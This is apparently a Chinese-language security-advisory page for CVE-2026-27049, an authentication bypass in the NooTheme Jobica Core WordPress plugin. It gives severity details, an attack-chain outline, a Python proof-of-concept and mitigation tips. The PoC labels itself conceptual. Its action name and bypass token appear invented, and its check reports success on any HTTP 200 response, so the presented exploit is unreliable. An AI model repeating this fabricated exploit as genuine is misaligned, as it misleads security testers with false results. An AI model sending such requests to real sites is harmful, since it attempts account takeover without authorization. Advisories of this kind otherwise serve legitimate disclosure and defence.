CVE-2026-27049 CVSS 9.8 严重

CVE-2026-27049 Jobica Core认证绕过漏洞

披露日期: 2026-03-25

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-27049

漏洞类型

认证绕过

CVSS评分

9.8 严重

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

NooTheme Jobica Core

漏洞概述

NooTheme Jobica Core插件中存在严重的认证绕过漏洞。该漏洞源于使用了备用路径或通道进行身份验证，允许未经授权的攻击者进行认证滥用。受影响的版本包括从早期版本至1.4.2及以下。由于该漏洞无需用户交互且无需权限即可利用，攻击者可轻易接管用户账户，对系统的机密性、完整性和可用性造成极高影响。

技术细节

该漏洞位于NooTheme Jobica Core插件的身份验证模块中。由于开发者在设计时未能对所有请求路径实施严格的权限检查，导致特定接口（如AJAX请求或REST路由）存在备用路径或通道。攻击者可以通过构造特制的HTTP数据包，发送至存在漏洞的端点，从而绕过正常的登录验证流程。根据CVSS 3.1评分向量，此漏洞利用复杂度低，攻击网络可达且无需特权。一旦利用成功，攻击者可获取目标账户的控制权，甚至提升至管理员权限，进而完全控制受影响的WordPress站点，执行安装后门、窃取数据等恶意操作。

攻击链分析

STEP 1

信息收集

攻击者扫描目标站点，识别是否使用了NooTheme Jobica Core插件及其版本号。

STEP 2

漏洞探测

确认目标版本小于等于1.4.2，并寻找可能存在认证绕过的备用路径或接口。

STEP 3

发送攻击载荷

攻击者构造包含恶意参数的HTTP请求，发送至无需认证的端点，利用逻辑缺陷绕过登录验证。

STEP 4

账户接管

成功绕过认证后，攻击者获取目标用户（通常是管理员）的会话权限，进而控制网站后台。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target = "http://example.com"
vulnerable_endpoint = "/wp-admin/admin-ajax.php"

# Exploit payload simulating authentication bypass via alternate channel
# Note: This is a conceptual PoC based on the vulnerability description.
payload = {
    "action": "jobica_core_auth_check", 
    "user_login": "admin",
    "bypass_token": "alternate_path_payload"
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    response = requests.post(target + vulnerable_endpoint, data=payload, headers=headers, timeout=10)
    
    # Check if authentication was bypassed (hypothetical success indicator)
    if "dashboard" in response.text.lower() or response.status_code == 200:
        print("[+] Vulnerability exploited successfully! Authentication bypassed.")
    else:
        print("[-] Exploit failed or target not vulnerable.")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

影响范围

NooTheme Jobica Core <= 1.4.2

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用Jobica Core插件以阻断攻击路径。同时，检查系统日志是否存在异常的登录尝试或未授权的操作记录，并重置所有管理员密码。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表